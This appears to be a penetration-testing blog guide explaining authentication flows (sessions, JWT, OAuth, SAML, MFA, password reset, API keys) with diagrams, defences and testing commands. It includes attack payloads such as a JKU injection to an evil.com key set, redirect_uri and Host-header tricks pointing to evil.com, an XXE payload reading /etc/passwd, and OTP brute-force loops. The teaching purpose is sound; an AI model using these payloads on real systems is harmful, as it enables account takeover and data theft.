Skip to content
SecureKhan
Go back

Authentication Flows & Vulnerabilities: A Visual Whiteboard Guide

Authentication is the gateway to every application. If you can break auth, you own the system. This guide teaches you to visualize authentication flows, understand where vulnerabilities occur at each step, and test them systematically.

Perfect for: Security interviews (whiteboard sessions), penetration testing, and understanding auth security.

Prerequisites: Web Application Pentesting basics

Related: API Security OWASP Top 10 for API-specific auth issues


Quick Reference

Authentication Flow Types

FlowUse CaseKey Vulnerabilities
Session-basedTraditional web appsSession fixation, cookie theft
JWTSPAs, mobile apps, APIsAlgorithm confusion, weak secrets
OAuth 2.0”Login with Google/GitHub”Redirect URI manipulation, CSRF
SAMLEnterprise SSOXML signature wrapping, XXE
API KeysService-to-serviceKey exposure, no rotation
MFAAdditional security layerBypass, fatigue attacks

Common Vulnerabilities by Step

StepVulnerabilities
Credential submissionMITM, credential stuffing, no HTTPS
Credential validationSQLi, timing attacks, enumeration
Token/session creationWeak entropy, predictable IDs
Token storageXSS (localStorage), missing cookie flags
Token transmissionURL leakage, referrer exposure
Token validationAlgorithm bypass, expired token acceptance

Tools for Auth Testing

ToolPurpose
Burp Suite + AutorizeAuthorization testing
jwt_toolJWT manipulation and attacks
Burp JWT EditorJWT testing in Burp
oauth-toolsOAuth flow testing
SAMLRaiderSAML attack automation
Hashcat/JohnToken secret cracking

1. Why Auth Flows Matter

TL;DR: 80% of breaches involve compromised credentials. Understanding auth flows visually helps you find where attacks succeed.

Real-world impact:

What you’ll learn:


2. Session-Based Authentication

TL;DR: User sends credentials, server creates session, returns cookie. Attack the credentials, session creation, or cookie handling.

The Flow

┌──────┐                    ┌──────────┐                    ┌──────────┐
│ User │                    │  Server  │                    │ Database │
└──┬───┘                    └────┬─────┘                    └────┬─────┘
   │                             │                               │
   │ 1. POST /login              │                               │
   │    username=admin           │                               │
   │    password=secret123       │                               │
   │────────────────────────────>│                               │
   │                             │                               │
   │                             │ 2. SELECT * FROM users        │
   │                             │    WHERE username='admin'     │
   │                             │──────────────────────────────>│
   │                             │                               │
   │                             │ 3. Return user record         │
   │                             │<──────────────────────────────│
   │                             │                               │
   │                             │ 4. Verify password hash       │
   │                             │    Generate session_id        │
   │                             │    Store in session table     │
   │                             │                               │
   │ 5. HTTP 200 OK              │                               │
   │    Set-Cookie: session=abc  │                               │
   │<────────────────────────────│                               │
   │                             │                               │
   │ 6. GET /dashboard           │                               │
   │    Cookie: session=abc      │                               │
   │────────────────────────────>│                               │
   │                             │                               │
   │                             │ 7. Validate session           │
   │                             │    Return user data           │
   │                             │                               │
   │ 8. HTTP 200 + Dashboard     │                               │
   │<────────────────────────────│                               │

Vulnerabilities by Step

StepWhat HappensVulnerabilities
1Credentials sentMITM (no HTTPS), credential stuffing, brute force
2Database querySQL injection
3User lookupUsername enumeration (different error messages)
4Session creationWeak session ID entropy, session fixation
5Cookie returnedMissing HttpOnly/Secure/SameSite flags
6Cookie sentXSS cookie theft, CSRF
7Session validationSession prediction, no timeout
AttackDetectDefend
Credential stuffingFailed login monitoring, impossible travelRate limiting, MFA, breach detection
Session hijackingSession anomaly detectionSecure cookies, IP binding
Session fixationLog session ID changesRegenerate session on login
XSS cookie theftCSP violationsHttpOnly flag, CSP

Testing Checklist

Commands

Check cookie flags

curl -I -X POST http://target.com/login \
     -d "username=test&password=test" \
     | grep -i set-cookie

# Look for:
# Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

Test session fixation

# 1. Get a session before login
curl -c cookies.txt http://target.com/login
cat cookies.txt  # Note session ID

# 2. Login with that session
curl -b cookies.txt -c cookies.txt \
     -d "username=test&password=test" \
     http://target.com/login

# 3. Check if session ID changed
cat cookies.txt  # Should be DIFFERENT

Check session entropy

# Collect multiple session IDs
for i in {1..10}; do
  curl -s -I http://target.com/ | grep -i set-cookie
done

# Analyze for patterns (should be random)

3. JWT Authentication (Deep Dive)

TL;DR: Server issues a signed token containing user claims. Client sends token with each request. Attack the algorithm, signature, or claims.

The Flow

┌──────┐                    ┌──────────┐                    ┌──────────┐
│ User │                    │  Server  │                    │ Database │
└──┬───┘                    └────┬─────┘                    └────┬─────┘
   │                             │                               │
   │ 1. POST /login              │                               │
   │    username=admin           │                               │
   │    password=secret123       │                               │
   │────────────────────────────>│                               │
   │                             │                               │
   │                             │ 2. Validate credentials       │
   │                             │──────────────────────────────>│
   │                             │<──────────────────────────────│
   │                             │                               │
   │                             │ 3. Generate JWT               │
   │                             │    Header: {"alg":"HS256"}    │
   │                             │    Payload: {"sub":"admin",   │
   │                             │              "role":"user"}   │
   │                             │    Sign with secret key       │
   │                             │                               │
   │ 4. HTTP 200                 │                               │
   │    {"token": "eyJ..."}      │                               │
   │<────────────────────────────│                               │
   │                             │                               │
   │ 5. GET /api/data            │                               │
   │    Authorization: Bearer eyJ│                               │
   │────────────────────────────>│                               │
   │                             │                               │
   │                             │ 6. Verify signature           │
   │                             │    Check expiration           │
   │                             │    Extract claims             │
   │                             │                               │
   │ 7. HTTP 200 + Data          │                               │
   │<────────────────────────────│                               │

JWT Structure

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
|___________________________________|__________________________________________________|__________________________________|
           Header (Base64)                              Payload (Base64)                         Signature

Header: {"alg": "HS256", "typ": "JWT"}
Payload: {"sub": "1234567890", "name": "John Doe", "iat": 1516239022}
Signature: HMACSHA256(base64(header) + "." + base64(payload), secret)

JWT Vulnerabilities

Algorithm Attacks

AttackDescriptionTest
None algorithmSet "alg": "none", remove signaturejwt_tool -X a
RS256 → HS256Use public key as HMAC secretjwt_tool -X k -pk public.pem
Algorithm switchingChange to weaker algorithmManual header edit

Signature Attacks

AttackDescriptionTest
Weak secret brute forceCrack HMAC secrethashcat -m 16500 jwt.txt wordlist.txt
Key confusionRS256 with public key as HMAC secretjwt_tool -X k
JKU injectionPoint to attacker’s JWKS URLjwt_tool -X s -ju http://evil.com/jwks.json
KID injectionSQL injection or path traversal in kidjwt_tool -I -hc kid -hv "../../dev/null"

Claim Attacks

AttackDescriptionTest
Privilege escalationChange role from “user” to “admin”Decode → modify → re-encode
User impersonationChange sub to another user IDDecode → modify → re-encode
Token replayReuse token after logoutSave token, logout, use again
Expired tokenServer doesn’t check expUse old token
AttackDetectDefend
Algorithm confusionMonitor algorithm changesWhitelist algorithms server-side
Weak secretN/AUse strong secrets (256+ bits)
Privilege escalationLog role changesServer-side role lookup
Token replayTrack token usageShort expiry, token blacklist

Testing Checklist

Commands

Decode JWT manually

# Split and decode
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# {"alg":"HS256","typ":"JWT"}

# Or use jwt_tool
jwt_tool eyJ...

None algorithm attack

jwt_tool eyJ... -X a

# Manual: Change header to {"alg":"none","typ":"JWT"}
# Remove signature, keep the trailing dot
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIn0.

Crack weak secret

# With hashcat
hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt

# With jwt_tool
jwt_tool eyJ... -C -d /usr/share/wordlists/rockyou.txt

Algorithm confusion (RS256 → HS256)

# If you have the public key
jwt_tool eyJ... -X k -pk public.pem

Modify claims

# Tamper with claims
jwt_tool eyJ... -T

# Inject into kid header (path traversal)
jwt_tool eyJ... -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Test with Burp

1. Install JWT Editor extension
2. Capture request with JWT
3. Right-click → "Send to JWT Editor"
4. Modify claims/algorithm
5. Resign or attack

4. OAuth 2.0 / OpenID Connect

TL;DR: Delegate authentication to a trusted provider (Google, GitHub). Attack the redirect URI, state parameter, or token handling.

Authorization Code Flow

┌──────┐          ┌─────────┐          ┌─────────────┐          ┌──────────────┐
│ User │          │   App   │          │ Auth Server │          │ Resource API │
└──┬───┘          └────┬────┘          │  (Google)   │          └──────┬───────┘
   │                   │               └──────┬──────┘                 │
   │ 1. Click "Login   │                      │                        │
   │    with Google"   │                      │                        │
   │──────────────────>│                      │                        │
   │                   │                      │                        │
   │                   │ 2. Redirect to Auth  │                        │
   │                   │    Server with:      │                        │
   │                   │    - client_id       │                        │
   │                   │    - redirect_uri    │                        │
   │                   │    - scope           │                        │
   │                   │    - state (CSRF)    │                        │
   │<──────────────────│──────────────────────│                        │
   │                   │                      │                        │
   │ 3. User logs in   │                      │                        │
   │    and consents   │                      │                        │
   │──────────────────────────────────────────>                        │
   │                   │                      │                        │
   │ 4. Redirect back  │                      │                        │
   │    with auth code │                      │                        │
   │    + state        │                      │                        │
   │<──────────────────────────────────────────                        │
   │                   │                      │                        │
   │ 5. App receives   │                      │                        │
   │    code at        │                      │                        │
   │    redirect_uri   │                      │                        │
   │──────────────────>│                      │                        │
   │                   │                      │                        │
   │                   │ 6. Exchange code for │                        │
   │                   │    tokens (+ secret) │                        │
   │                   │─────────────────────>│                        │
   │                   │                      │                        │
   │                   │ 7. Access token      │                        │
   │                   │    + refresh token   │                        │
   │                   │<─────────────────────│                        │
   │                   │                      │                        │
   │                   │ 8. Use access token  │                        │
   │                   │────────────────────────────────────────────────>
   │                   │                      │                        │
   │                   │ 9. Protected data    │                        │
   │                   │<────────────────────────────────────────────────
   │                   │                      │                        │
   │ 10. Logged in!    │                      │                        │
   │<──────────────────│                      │                        │

OAuth Vulnerabilities by Step

StepAttackImpact
2Redirect URI manipulationSteal auth code
2Missing/weak stateCSRF account linking
4Code interceptionAccount takeover
4Token in URL fragmentReferrer leakage
6No PKCE (mobile apps)Code interception
7Token leakage in logsAccount takeover
8Scope escalationExcessive permissions
AttackDetectDefend
Redirect URI manipulationLog all redirect URIsStrict URI validation, no wildcards
Missing state (CSRF)Monitor for stateless flowsAlways require state parameter
Code interceptionN/AUse PKCE for public clients
Token leakageToken usage monitoringShort-lived tokens, secure storage

Common OAuth Misconfigurations

1. Wildcard Redirect URI

# Registered: https://app.com/*
# Attacker uses: https://app.com/callback?redirect=https://evil.com

2. Open Redirect in Redirect URI

# https://app.com/callback?next=https://evil.com
# Auth code sent to legitimate URI, then forwarded to attacker

3. Missing State Parameter

# Allows CSRF - attacker can link victim's account to attacker's OAuth

Testing Checklist

Commands

Test redirect_uri manipulation

# Original
https://auth.provider.com/authorize?
  client_id=app123&
  redirect_uri=https://app.com/callback&
  state=xyz

# Try:
redirect_uri=https://evil.com/callback
redirect_uri=https://app.com.evil.com/callback
redirect_uri=https://app.com/callback/../../../evil
redirect_uri=https://app.com/callback?next=https://evil.com
redirect_uri=https://app.com/callback#@evil.com

Test missing state (CSRF)

# 1. Start OAuth flow, capture the authorize URL
# 2. Remove state parameter
# 3. Send to victim
# 4. When they click, their account links to your OAuth

Intercept authorization code

# If redirect_uri is vulnerable:
# 1. Craft malicious authorize URL with your redirect_uri
# 2. Send to victim
# 3. Receive their auth code at your server
# 4. Exchange code for token

5. SAML Authentication

TL;DR: Enterprise SSO using XML assertions. Attack the XML signature verification or assertion content.

SAML Flow

┌──────┐          ┌─────────────┐          ┌────────────────┐
│ User │          │ Service     │          │ Identity       │
│      │          │ Provider    │          │ Provider (IdP) │
│      │          │ (App)       │          │ (Okta/ADFS)    │
└──┬───┘          └──────┬──────┘          └───────┬────────┘
   │                     │                         │
   │ 1. Access /app      │                         │
   │────────────────────>│                         │
   │                     │                         │
   │ 2. Redirect to IdP  │                         │
   │    with SAML        │                         │
   │    AuthnRequest     │                         │
   │<────────────────────│                         │
   │                     │                         │
   │ 3. Follow redirect  │                         │
   │─────────────────────────────────────────────->│
   │                     │                         │
   │ 4. Login at IdP     │                         │
   │<─────────────────────────────────────────────>│
   │                     │                         │
   │ 5. IdP creates      │                         │
   │    signed SAML      │                         │
   │    Response with    │                         │
   │    Assertion        │                         │
   │                     │                         │
   │ 6. POST to SP with  │                         │
   │    SAML Response    │                         │
   │<──────────────────────────────────────────────│
   │                     │                         │
   │ 7. Forward SAML     │                         │
   │    Response to SP   │                         │
   │────────────────────>│                         │
   │                     │                         │
   │                     │ 8. Validate signature   │
   │                     │    Extract user info    │
   │                     │    Create session       │
   │                     │                         │
   │ 9. Access granted   │                         │
   │<────────────────────│                         │

SAML Vulnerabilities

AttackDescriptionImpact
XML Signature WrappingMove signed content, add malicious contentAuthentication bypass
XXEXML External Entity in SAML responseSSRF, file read
Assertion ReplayReuse valid assertionSession hijacking
Comment InjectionBreak username parsingAccount takeover
Signature ExclusionRemove signature, SP doesn’t validateAuth bypass
AttackDetectDefend
Signature wrappingLog SAML processing errorsStrict XML canonicalization
XXEMonitor external entity attemptsDisable DTD processing
Assertion replayTrack assertion IDsCheck NotOnOrAfter, store used IDs
Comment injectionMonitor username anomaliesStrict parsing, canonicalization

Testing Checklist

Commands

Using SAMLRaider (Burp Extension)

1. Capture SAML response in Burp
2. Right-click → "Send to SAMLRaider"
3. Try signature wrapping attacks
4. Try XXE injection
5. Modify assertions and resign (if you have key)

Comment injection example

<!-- Original NameID -->
<NameID>user@company.com</NameID>

<!-- Injected -->
<NameID>admin@company.com<!---->@attacker.com</NameID>

<!-- If SP parses poorly, may see: admin@company.com -->

XXE payload in SAML

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response>
  <Assertion>
    <NameID>&xxe;</NameID>
  </Assertion>
</samlp:Response>

6. Multi-Factor Authentication (MFA)

TL;DR: Adding a second factor increases security, but implementation flaws can allow bypass.

MFA Flow

┌──────┐                    ┌──────────┐
│ User │                    │  Server  │
└──┬───┘                    └────┬─────┘
   │                             │
   │ 1. POST /login              │
   │    username + password      │
   │────────────────────────────>│
   │                             │
   │ 2. Credentials valid        │
   │    MFA required             │
   │    Set temp session         │
   │                             │
   │ 3. Redirect to /mfa         │
   │    Send OTP via SMS/email   │
   │    or prompt for TOTP       │
   │<────────────────────────────│
   │                             │
   │ 4. POST /mfa/verify         │
   │    code=123456              │
   │────────────────────────────>│
   │                             │
   │ 5. Validate OTP             │
   │    Upgrade session          │
   │                             │
   │ 6. Full access granted      │
   │<────────────────────────────│

MFA Vulnerabilities

AttackDescriptionTest
Response manipulationChange MFA response from fail to successIntercept and modify response
Direct endpoint accessSkip MFA, access protected endpoint directlyAccess /dashboard without MFA step
Race conditionUse code in parallel requestsSend multiple simultaneous requests
Brute force OTPNo rate limiting on OTP entryTry all 6-digit codes
Backup code abuseWeak backup code generationCheck entropy, test enumeration
MFA fatigueSpam push notificationsSend many push requests
Recovery bypassWeak security questionsSocial engineering
Session upgrade flawPre-MFA session has partial accessTest what’s accessible before MFA
AttackDetectDefend
Response manipulationIntegrity monitoringServer-side state, signed responses
OTP brute forceAlert on attemptsRate limit, lockout
MFA fatigueAlert on push spamNumber matching, rate limit
Recovery bypassLog recovery attemptsStrong recovery, admin approval

Testing Checklist

Commands

Test response manipulation

# Capture MFA verification response
# Change: {"success": false} → {"success": true}
# Or: HTTP 401 → HTTP 200

Test direct endpoint access

# 1. Login with credentials (don't complete MFA)
# 2. Note any cookies/tokens received
# 3. Try accessing protected endpoints directly
curl -b "session=pre_mfa_token" http://target.com/api/user

Test OTP brute force

# Check if rate limited
for code in {000000..000100}; do
  curl -s -X POST http://target.com/mfa/verify \
       -d "code=$code" \
       -b "session=abc123"
done

Test race condition

# Send multiple requests simultaneously
for i in {1..10}; do
  curl -s -X POST http://target.com/mfa/verify \
       -d "code=123456" &
done
wait

7. Password Reset Flows

TL;DR: “Forgot password” is often the weakest link. Attack the token generation, delivery, or validation.

Password Reset Flow

┌──────┐                    ┌──────────┐                    ┌───────────┐
│ User │                    │  Server  │                    │   Email   │
└──┬───┘                    └────┬─────┘                    └─────┬─────┘
   │                             │                                │
   │ 1. POST /forgot-password    │                                │
   │    email=user@example.com   │                                │
   │────────────────────────────>│                                │
   │                             │                                │
   │                             │ 2. Generate reset token        │
   │                             │    Store token + expiry        │
   │                             │    in database                 │
   │                             │                                │
   │                             │ 3. Send email with reset link  │
   │                             │    /reset?token=abc123         │
   │                             │───────────────────────────────>│
   │                             │                                │
   │ 4. User receives email      │                                │
   │<─────────────────────────────────────────────────────────────│
   │                             │                                │
   │ 5. GET /reset?token=abc123  │                                │
   │────────────────────────────>│                                │
   │                             │                                │
   │                             │ 6. Validate token              │
   │                             │    (exists, not expired)       │
   │                             │                                │
   │ 7. Show password reset form │                                │
   │<────────────────────────────│                                │
   │                             │                                │
   │ 8. POST /reset              │                                │
   │    token=abc123             │                                │
   │    new_password=NewPass123  │                                │
   │────────────────────────────>│                                │
   │                             │                                │
   │                             │ 9. Update password             │
   │                             │    Invalidate token            │
   │                             │    Invalidate all sessions     │
   │                             │                                │
   │ 10. Password changed        │                                │
   │<────────────────────────────│                                │

Password Reset Vulnerabilities

StepAttackImpact
1User enumerationDifferent response for valid/invalid email
2Weak token generationPredictable tokens → account takeover
2Token in URLLogged by proxies, referrer leakage
3Host header injectionReset link points to attacker domain
5Token brute forceShort/numeric tokens can be guessed
6No expirationToken valid forever
6Token reuseUse same token multiple times
8No rate limitBrute force new password
9Sessions not invalidatedAttacker sessions persist
AttackDetectDefend
Token brute forceAlert on reset attemptsLong random tokens, rate limit
Host header injectionMonitor Host headersWhitelist allowed hosts
Token reuseLog token usageSingle-use tokens
User enumerationMonitor timing differencesGeneric responses

Testing Checklist

Commands

Test user enumeration

# Valid user
curl -s -X POST http://target.com/forgot-password \
     -d "email=valid@example.com" -w "%{time_total}\n"

# Invalid user
curl -s -X POST http://target.com/forgot-password \
     -d "email=invalid@example.com" -w "%{time_total}\n"

# Check for different responses or timing

Test Host header injection

curl -X POST http://target.com/forgot-password \
     -H "Host: evil.com" \
     -d "email=victim@example.com"

# Check if email contains link to evil.com

Analyze token entropy

# Request multiple tokens, look for patterns
# Token should be: long, random, unpredictable
# Bad: 123456, abc123, sequential, timestamp-based
# Good: a8f3k2j4h5g6d7s8a9f0k2j4h5g6d7s8

Test token brute force (if short)

# Only if authorized - many tokens are short
for token in {100000..100100}; do
  curl -s "http://target.com/reset?token=$token"
done

8. API Authentication Patterns

TL;DR: APIs use various auth methods - API keys, bearer tokens, OAuth. Each has specific vulnerabilities.

API Key Authentication

┌──────────┐                         ┌──────────┐
│  Client  │                         │   API    │
└────┬─────┘                         └────┬─────┘
     │                                    │
     │ GET /api/data                      │
     │ X-API-Key: sk_live_abc123          │
     │───────────────────────────────────>│
     │                                    │
     │                                    │ Validate key
     │                                    │ Check permissions
     │                                    │
     │ 200 OK + Data                      │
     │<───────────────────────────────────│

API Key Vulnerabilities:

VulnerabilityDescriptionTest
Key in URLLogged, cached, referrer leakageCheck if ?api_key= accepted
Key in client codeExposed in JS/mobile appInspect source, decompile
No key rotationCompromised key = permanent accessCheck rotation mechanism
Over-privilegedKey has more access than neededTest different endpoints
No rate limitingDoS, brute forceSend many requests
Key enumerationSequential or predictable keysTry incrementing

Bearer Token Authentication

┌──────────┐                         ┌──────────┐
│  Client  │                         │   API    │
└────┬─────┘                         └────┬─────┘
     │                                    │
     │ GET /api/data                      │
     │ Authorization: Bearer eyJ...       │
     │───────────────────────────────────>│
     │                                    │
     │                                    │ Validate token
     │                                    │ (JWT verification
     │                                    │  or token lookup)
     │                                    │
     │ 200 OK + Data                      │
     │<───────────────────────────────────│

API Auth Testing Checklist

Commands

Test missing auth

curl http://api.target.com/v1/users
# Should return 401, not data

Test BOLA (Broken Object Level Authorization)

# With User A's token, access User B's data
curl -H "Authorization: Bearer USER_A_TOKEN" \
     http://api.target.com/v1/users/USER_B_ID

Test BFLA (Broken Function Level Authorization)

# With regular user token, access admin endpoints
curl -H "Authorization: Bearer REGULAR_USER_TOKEN" \
     http://api.target.com/v1/admin/users

Find API keys in JavaScript

# Search for common patterns
curl -s http://target.com/js/app.js | grep -iE "api[_-]?key|apikey|api[_-]?secret|sk_live|pk_live"

Using Autorize (Burp Extension)

1. Install Autorize extension
2. Configure low-privilege token
3. Browse as high-privilege user
4. Autorize replays with low-privilege token
5. Check for authorization bypass

9. Whiteboard Interview Tips

TL;DR: Security interviews often involve whiteboarding auth flows. Here’s how to excel.

How to Approach Auth Whiteboard Questions

Step 1: Clarify Requirements

Step 2: Draw the Happy Path

1. Start with actors (User, Client, Server, Database)
2. Draw the normal flow step by step
3. Label data at each step (credentials, tokens, cookies)
4. Mark trust boundaries

Step 3: Identify Attack Surfaces

At each step, ask:
- What could go wrong here?
- How could an attacker abuse this?
- What data is exposed?

Step 4: Propose Mitigations

For each vulnerability:
- Explain the defense
- Discuss trade-offs

Sample Interview Questions

Q: “Design a secure login system”

1. Draw flow:
   User → HTTPS → Server → Database (hashed passwords)
   Server → User (session cookie)

2. Call out security:
   - HTTPS only
   - Password hashing (bcrypt)
   - Session ID entropy
   - Cookie flags (HttpOnly, Secure, SameSite)
   - Rate limiting
   - MFA option

3. Discuss attacks:
   - Credential stuffing → Rate limit + breach detection
   - Session hijacking → Secure cookies + IP binding
   - Brute force → Lockout + CAPTCHA

Q: “How would you implement ‘Login with Google’?”

1. Draw OAuth Authorization Code flow
2. Highlight security measures:
   - State parameter for CSRF
   - Strict redirect URI validation
   - PKCE for mobile/SPA
   - Short-lived tokens

3. Call out risks:
   - Redirect URI manipulation
   - Token leakage
   - Scope creep

Q: “How would you attack this auth system?”

1. Ask about:
   - Token type and storage
   - Session management
   - Password reset mechanism

2. Identify:
   - Weak points in the flow
   - Missing security controls

3. Propose:
   - Specific attacks
   - Required access/position
   - Potential impact

Interview Checklist


10. Auth Testing Methodology

Systematic Approach

1. RECONNAISSANCE
   - Identify auth mechanisms (session, JWT, OAuth, SAML)
   - Map all auth endpoints
   - Identify token storage locations
   - Note any MFA/2FA

2. CREDENTIAL TESTING
   - Username enumeration
   - Password policy testing
   - Brute force protection
   - Default credentials

3. SESSION TESTING
   - Session ID analysis
   - Cookie security flags
   - Session fixation
   - Timeout and logout

4. TOKEN TESTING
   - Token format analysis
   - Signature verification
   - Claim manipulation
   - Expiration handling

5. AUTHORIZATION TESTING
   - Horizontal privilege escalation
   - Vertical privilege escalation
   - Insecure direct object references

6. MFA TESTING
   - Bypass attempts
   - Recovery flow
   - Rate limiting

7. PASSWORD RESET TESTING
   - Token analysis
   - Host header injection
   - User enumeration

Master Checklist

Complete Auth Testing Checklist

Credential Handling

  • Test credentials over HTTP
  • Check password policy enforcement
  • Test username enumeration
  • Test account lockout
  • Check for default credentials
  • Test credential stuffing protection

Session Management

  • Analyze session ID entropy
  • Check cookie security flags
  • Test session fixation
  • Test concurrent session handling
  • Verify session timeout
  • Test logout functionality
  • Check session invalidation

JWT/Token Security

  • Test “alg”: “none”
  • Test algorithm confusion
  • Attempt secret brute force
  • Test claim modification
  • Check token expiration
  • Test token replay
  • Check kid/jku injection

OAuth/OIDC

  • Test redirect_uri manipulation
  • Check state parameter
  • Test scope manipulation
  • Check token storage
  • Test PKCE implementation

MFA

  • Test MFA bypass
  • Test response manipulation
  • Check rate limiting
  • Test backup code security
  • Test recovery flow

Password Reset

  • Test user enumeration
  • Analyze token security
  • Test Host header injection
  • Check token expiration
  • Test token reuse
  • Verify session invalidation

Authorization

  • Test IDOR
  • Test privilege escalation
  • Test function-level access
  • Check API authorization

11. Tools Reference

JWT Testing

ToolPurposeInstall
jwt_toolComprehensive JWT testingpip install jwt_tool
jwt.ioOnline decoderBrowser
Burp JWT EditorBurp extensionBApp Store
hashcatSecret crackingPackage manager

OAuth Testing

ToolPurpose
Burp SuiteIntercept and modify OAuth flows
oauth-toolsOAuth testing utilities
PostmanAPI testing with OAuth

SAML Testing

ToolPurpose
SAMLRaiderBurp extension for SAML attacks
SAML-decoderOnline SAML decoder

Session Testing

ToolPurpose
Burp SuiteSession analysis
AutorizeAuthorization testing
AuthMatrixAccess control testing

12. Glossary

TermDefinition
Access TokenToken granting access to protected resources
Authorization CodeTemporary code exchanged for access token in OAuth
Bearer TokenToken that grants access to whoever possesses it
ClaimPiece of information in a JWT payload
CSRFCross-Site Request Forgery
IdPIdentity Provider (authenticates users)
JWKJSON Web Key (public key format)
JWKSJSON Web Key Set (collection of JWKs)
JWTJSON Web Token
MFAMulti-Factor Authentication
OAuthAuthorization framework for delegated access
OIDCOpenID Connect (identity layer on OAuth)
PKCEProof Key for Code Exchange (OAuth security extension)
Refresh TokenLong-lived token to get new access tokens
SAMLSecurity Assertion Markup Language
Session FixationAttack where attacker sets victim’s session ID
SPService Provider (application relying on IdP)
State ParameterCSRF protection in OAuth
TOTPTime-based One-Time Password

What’s Next?

Now that you understand authentication flows, continue with:

  1. API Security OWASP Top 10 - API-specific vulnerabilities
  2. API Pentesting Cheat Sheet - Hands-on API testing
  3. Web Application Pentesting - Broader web security
  4. Active Directory Attack Path - Windows auth attacks

Questions or feedback? Open an issue on GitHub.


Share this post on:

Previous Post
How Email Works for Pentesters: SMTP, SPF, DKIM, DMARC Explained
Next Post
Web Application Pentesting: The Complete Beginner's Guide